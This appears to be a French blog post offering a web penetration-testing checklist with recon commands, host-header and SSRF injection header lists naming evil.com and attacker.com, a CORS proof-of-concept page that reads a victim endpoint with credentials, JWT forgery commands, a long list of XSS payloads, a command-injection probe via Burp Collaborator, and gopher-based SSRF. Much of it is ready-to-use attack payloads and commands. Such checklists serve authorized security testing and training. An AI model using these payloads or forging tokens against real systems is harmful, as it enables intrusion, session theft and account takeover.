PENTEST WEB – MÉTHODOLOGIE ET OUTILS

Checklist Pentest Web


Before :


  • [ ] Créer l’ensemble des fichiers du pentest :
mkdir /home/<user>/Documents/<MissionName>  /home/<user>/Documents/MissionName/Images
/home/<user>/Documents/MissionName/Traces  
  • [ ] Ajouter l’url dans le scope sur BURP
  • [ ] Mettre les cookies du compte le moins privilégié dans l’extension Authorize

Scan Server


  • NMAP


    sudo nmap -sS <IP>
    nmap -A -p- <IP>
    sudo nmap -v -Pn -sV --reason --version-all --top-ports 1000 <IP>
    
  • Nikto


    nikto -h <URL>
    
  • Shodan


    • [ ] Aller sur le site Shodan et regarder si il existe des informations
  • DNS


    • [ ] Check DNS
    dnsrecon -d www.example.com -a
    dnsenum <IP>
    

SSL/TLS Check


  • [ ] Checkez la version TLS utilisée (doit être 1.3) | Expiration des certificats | Support PFS
    • [ ] SSL Scanner (Burp Extension)

    • [ ] SSL_Check

      ./testssl.sh <URL>
      

Subdomain/Directory Listing


Specific informations gathering


  • [ ] Check de :

    • [ ] /.git

    • [ ] /robots.txt

    • [ ] sitemap.xml

      http https://target.com/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g' > wordlist_endpoints.txt
      
    • [ ] /crossdomain.xml

    • [ ] /clientaccesspolicy.xml

    • [ ] /phpinfo.php

    • [ ] .DS_Store (https://github.com/gehaxelt/Python-dsstore)

      python main.py samples/.DS_Store.ctf
      
  • [ ] WAF (Fortinet, CloudFlare, etc…)

  • [ ] Google Dork

  • [ ] Code source

Headers Check


  • [ ] X-XSS-Protection
  • [ ] Strict-Transport-Security
  • [ ] X-Content-Type-Options
  • [ ] X-Frame-Options
  • [ ] Content-Security-Policy
  • [ ] Cache-Control

Headers Injection


  • Host header injection


    • Host Header


      • [ ] Host : evil.com
      • [ ] Host: localhost
      • [ ] Host : javascript:confirm(1)
      • [ ] Host: <link src="http://www.attacker.com"/>
      • [ ] Dupliquez le champs Host : evil.com:
      GET / HTTP/1.1
      Host: www.vulnerable_website.com
      Host: www.attacker.com
      
      • [ ] Indentez le premier champ Host :
      GET / HTTP/1.1
      	Host: www.vulnerable_website.com
      Host: www.attacker.com
      
    • Forwarded Injection


      Injecter :

      • 127.0.0.1
      • localhost
      • 192.168.1.2
      • evil.com
      • /admin
      • /console

      Dans :

      • [ ] Client-IP:
      • [ ] Connection:
      • [ ] Contact:
      • [ ] Forwarded:
      • [ ] From:
      • [ ] Host:
      • [ ] Origin:
      • [ ] Referer:
      • [ ] True-Client-IP:
      • [ ] X-Client-IP:
      • [ ] X-Custom-IP-Authorization:
      • [ ] X-Forward-For:
      • [ ] X-Forwarded-For:
      • [ ] X-Forwarded-Host:
      • [ ] X-Forwarded-Server:
      • [ ] X-Host:
      • [ ] X-Original-URL:
      • [ ] X-Originating-IP:
      • [ ] X-Real-IP:
      • [ ] X-Remote-Addr:
      • [ ] X-Remote-IP:
      • [ ] X-Rewrite-URL:
    • URL Absolu


      Essayez de rentrer un URL absolu :

      GET **https://google.com** HTTP/1.1
      Host: www.google.com
      
  • SSRF Injection


    • [ ] Client-IP: 127.0.0.1
    • [ ] Forwarded-For-Ip: 127.0.0.1
    • [ ] Forwarded-For: 127.0.0.1
    • [ ] Forwarded-For: localhost
    • [ ] Forwarded: 127.0.0.1
    • [ ] Forwarded: localhost
    • [ ] True-Client-IP: 127.0.0.1
    • [ ] X-Client-IP: 127.0.0.1
    • [ ] X-Custom-IP-Authorization: 127.0.0.1
    • [ ] X-Forward-For: 127.0.0.1
    • [ ] X-Forward: 127.0.0.1
    • [ ] X-Forward: localhost
    • [ ] X-Forwarded-By: 127.0.0.1
    • [ ] X-Forwarded-By: localhost
    • [ ] X-Forwarded-For-Original: 127.0.0.1
    • [ ] X-Forwarded-For-Original: localhost
    • [ ] X-Forwarded-For: 127.0.0.1
    • [ ] X-Forwarded-For: localhost
    • [ ] X-Forwarded-Server: 127.0.0.1
    • [ ] X-Forwarded-Server: localhost
    • [ ] X-Forwarded: 127.0.0.1
    • [ ] X-Forwarded: localhost
    • [ ] X-Forwared-Host: 127.0.0.1
    • [ ] X-Forwared-Host: localhost
    • [ ] X-Host: 127.0.0.1
    • [ ] X-Host: localhost
    • [ ] X-HTTP-Host-Override: 127.0.0.1
    • [ ] X-Originating-IP: 127.0.0.1
    • [ ] X-Real-IP: 127.0.0.1
    • [ ] X-Remote-Addr: 127.0.0.1
    • [ ] X-Remote-Addr: localhost
    • [ ] X-Remote-IP: 127.0.0.1
  • CORS (Cross Origin Resource Sharing)


    Ajouter le header "Origin" à la requête :

    GET / HTTP/1.1
    Host: www.vulnerable_website.com
    **Origin : evil.com**
    

    Si la réponse contient le code ci dessous vous avez une vulnérabilité CORS :

    **Acces-Control-Allow-Origin: evil.com
    Access-Control-Allow-Credentials: True**
    

    Pour POC une vulnérabilité CORS :

    Habituellement, vous voulez cibler un endpoint API.

    • [ ] Créer un fichier test.html
    <html>
         <body>
             <h2>CORS PoC</h2>
             <div id="demo">
                 <button type="button" onclick="cors()">Exploit</button>
             </div>
             <script>
                 function cors() {
                 var xhr = new XMLHttpRequest();
                 xhr.onreadystatechange = function() {
                     if (this.readyState == 4 && this.status == 200) {
                     document.getElementById("demo").innerHTML = alert(this.responseText);
                     }
                 };
                  xhr.open("GET",
                           "https://victim.example.com/endpoint", true);
                 xhr.withCredentials = true;
                 xhr.send();
                 }
             </script>
         </body>
     </html>
    
    • [ ] Créer un server python : python3 -m http.server
    • [ ] Cliquer sur test.html puis sur le bouton POC

    trustedsec/cors-poc

Cookies


  • Attributs à checker


    • [ ] HttpOnly
    • [ ] Secure
    • [ ] SameSite
  • Obfuscation


  • Credentials


    • [ ] Contient des creds ?
    • [ ] Contient des paramètres (id, uid, …) ?
    • [ ] Tester des injections SQL dans les paramètres du genre (uid=, id=)

Login/Logout/Account creation


  • Creation de compte


    • [ ] Politique de mot de passe ( 8 caractères minimums, Majuscule, Minuscule, caractères speciaux)
    • [ ] Vérification par email lors de la création de compte ?
    • [ ] Essayer de rentrer un nom d’utilisateur déjà existant pour voir si l’ancien est effacé
    • [ ] Username unique ? Possibilité d’avoir le même qu’un autre ?
    • [ ] Ajouter des espaces dans le champs "Password"
  • Login


    • [ ] Provoquer une erreur et voir si information dans le message d’erreur

    • [ ] Login avec l’utilisateur ayant le moins de privilège

      • [ ] Ajouter les cookie de cet user à Autorize
    • [ ] Brute Force possible ?

    • [ ] Injection SQL possible ?

    • [ ] Enumeration d’users ?

    • Attaques dans le champs email


      Attaque avec Email

  • Logout


    • [ ] Provoquer une erreur et voir si information dans le message d’erreur
    • [ ] Essayer de se Logout et voir si les cookies sont réutilisables
    • [ ] Enumeration d’users ?

Forgot_Password


  • [ ] Remplacer email par username@Burp.collaborator.com et examiner les requetes obtenus.
  • [ ] ID dans la requete ? Mettre un autre ID
  • [ ] Brute force possible ?
  • [ ] Token présent dans la requête ?
  • [ ] Expiration du lien de reset ?
  • [ ] Spamming d’email possible ?
  • [ ] Demander deux resets de mdp et tester le lien le plus vieux
  • [ ] Utiliser l’extension Burp "ParamMiner" et chercher des paramètres cachés.
  • [ ] Essayez de supprimer le champs "Ancien mot de passe" si on vous demande de l’entrer
  • [ ] Si un CSRF_Token est présent essayer de set sa valeur sur "null" : CSRF_Token:null
  • [ ] Host header injection
    • [ ] Créez un lien Ngrok
    • [ ] Demander un reset de mot de passe et injecter "Host:<ngrok_url> " avec votre email et checker si le lien de reset dans l’email contient votre URL ngrok
    • [ ] Injecter la même chose dans le header "X-Forwarded-Foret **X-Forwarded-Host**"

JavaScript


Open Redirect


  • [ ] Chercher des paramètres du type : redirect=, url=, redirecturl=, redirection=, et essayer d’injecter un site externe

exemple: https://vulnerable_website/test?url=www.google.com

Si une redirection s’effectue vous êtes en présence d’une vulnérabilité d’Open Redirection

JWT


  • [ ] JWT tool
    • [ ] None algorithm :

      Essayez de changer le header du JWT normalement encodé en RS256 en "None" et testez les différents payload générés :

      python3 jwt_tool.py "<JWT>" -X a
      
    • [ ] From RS256 to HS256

      Essayez de changer le type d’algorithme de chiffrement utilisé (RS256 néscessite une clef privée alors que HS256 utilise une clef publique partagée. On peut donc essayer de chiffrer ce token avec la meme clef publique que l’application.

      python3 jwt_tool.py "<JWT>" -S hs256 -k clef_public
      

Voila une extension Burp qui reproduit les mêmes attaques : JOSPEH

  • [ ] JOSEPH Extension
    • [ ] Key Confusion
    • [ ] Signature Exclusion
  • [ ] Signature non checker par le serveur

Il peut arriver qu’un serveur ne check pas la signature du JWT, nous allons donc essayer de modifier le JWT

python3 jwt_tool.py "<JWT>" -I -pc name -pv admin #On change la variable {name}={admin}

Injections

  • SQLi


  • XSS


    Test d’une XSS :

    Le paramètre est-il réfléchis dans la réponse du serveur ? Si oui →

    • [ ] Injection de code HTML
    # HTML
    "><h1>hello</h1> 
    

    Si le Hello" prend l’attribut H1 on peut tester plusieur injections :

    <body onload=alert(/XSS/.source)>
    <input autofocus onfocus=confirm(1)>
    
    # Basic payload
    <script>confirm(1)</script>
    <scr<script>ipt>confirm(1)</scr<script>ipt>
    "><script>confirm(1)</script>
    "><script>prompt(String.fromCharCode(88,83,83))</script>
    
    # Img payload
    <img src=x onerror=confirm(1);>
    <img src=x onerror=confirm(1)//
    <img src=x onerror=confirm(String.fromCharCode(88,83,83));>
    <img src=x oneonerrorrror=confirm(String.fromCharCode(88,83,83));>
    <img src=x:alert(alt) onerror=eval(src) alt=xss>
    "><img src=x onerror=confirm(1);>
    "><img src=x onerror=confirm(String.fromCharCode(88,83,83));>
    
    # Svg payload
    <svgonload=prompt(1)>
    <svg/onload=confirm(1)>
    <svg onload=prompt(1)//
    <svg/onload=confirm(String.fromCharCode(88,83,83))>
    <svg id=alert(1) onload=eval(id)>
    "><svg/onload=confirm(String.fromCharCode(88,83,83))>
    "><svg/onload=prompt(/XSS/)
    <svg><script href=data:,confirm(1) />(`Firefox` is the only browser which allows self closing script)
    
    # Div payload
    <div onpointerover="confirm(45)">MOVE HERE</div>
    <div onpointerdown="confirm(45)">MOVE HERE</div>
    <div onpointerenter="confirm(45)">MOVE HERE</div>
    <div onpointerleave="confirm(45)">MOVE HERE</div>
    <div onpointermove="confirm(45)">MOVE HERE</div>
    <div onpointerout="confirm(45)">MOVE HERE</div>
    <div onpointerup="confirm(45)">MOVE HERE</div>
    

    Automatisation :

    • [ ] Inscription sur XSSHunter
    paramspider -d exemple.com > param.txt
    dalfox -b Username.xss.ht file param.txt
    

    TIPS :

    • [ ] Ne plus utiliser alert, préférez confirm ou prompt
    • [ ] N’utilise pas des "" dans votre payload, préférez utiliser un nombre

    ~~alert("XSS")~~ —> confirm(1)

  • XML


  • OS command


  • XPath


  • LDAP


  • SSRF


    • POC

      Dans Burp > fichier > Burp Collaborator > Copy to Clipboard

      Injectez vos Burp collaborator dans les éléments suivants et checker si vous avez une connexion en retour :

      • [ ] Burp Extension : Collaborator Everywhere

      • [ ] Injecter dans les headers

      • [ ] Utiliser ssrf.py avec gau

        gau domain.com | python3 ssrf.py burp_collaborator.com
        
      • [ ] Checker si des fonctionnalités Java URI, CURL, WGET, LDAP, File, FTP, SMTP sont utilisés

      • [ ] Checker des paramètres où l’on peu entrer des liens ou quand il y a une redirection : url=, redirect=, redirecturl=, email=, ip=

      • [ ] Si XSS ou possibilité d’injecter du JavaScript :

        ')>
        
    • Automatisation

      1. Getting urls
      waybackurl [target.com](http://target.com) >> blindssrftesturls.txt
      gau -subs [target.com](http://target.com) >>blindssrftesturls.txt
      
      1. Trouver les faux positifs
      cat blindssrftesturls.txt | sort -u | anewc | httpx | tee -a pre_ssrfurls.txt
      
      1. Trouver les paramètres vulnérables
      cat pre_ssrfurls.txt | gf ssrf >> final_ssrfurls.txt
      
      1. Remplacer par votre Burp Collaborator et Fuzzer
      cat final_ssrfurls.txt | qsreplace "Burpcollaborator" >> ssrf_ffuf.txt
      ffuf -c -w ssrf_ffuf.txt -u FUZZ
      
    • TIPS :

      • [ ] Test RCE
      GET /XXX/Logo?url=burpcollaborator?`whoami`
      Host: exemple.com
      
      • [ ] Utiliser des redirection d’URL pour bypass certaines protection
      python3 302redirect.py 8082 "http://burpcollaborator/"*
      
      GET /XXX/Logo?url=my302redirectserver/
      Host: exemple.com
      
      • [ ] Si présence d’une SSRF utiliser le protocole gopher :
      GET /XXX/Logo?url=gopher://burpcollaborator
      Host: exemple.com
      

File Upload


CSRF


Extension Burp


  • [ ] JS Link Finder
  • [ ] SSL Scanner
  • [ ] HopLa
  • [ ] Bypass WAF
  • [ ] Param Miner
  • [ ] Reflected Parameters
  • [ ] Additional Scanner Check
  • [ ] JWT
  • [ ] Collaborator Everywhere

Quick Automatise Recon


Subfinder + amass + crtfinder + sublist3r + google dork >> all_subdomains.txt
httpx -l all_subdomains.txt -silent >> live_subdomains.txt
cat live_subdomains.txt | waybackurls > waybackurls.txt
ffuf -w /path/to/wordlist -u [https://target/FUZZ](https://target/FUZZ) -mc 200, 301,302,403 >> hidden_directories.txt
nmap -sC -iL all_subdomains.txt >> nmap_results
cat waybackurl.txt | gf redirect | tee -a redirect.txt
cat waybackurl.txt | grep js >> js_files.txt
cat all_subdomains.txt waybackurls.txt vulnerable_links.txt >> target_urls.txt
nuclei -l target_urls.txt -t cves/ -t takeovers/ -t misconfiguration/ -t defautlt-logins/ -t fuzzing/ -t technologies/ -t vulnerabilities/

Un commentaire

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s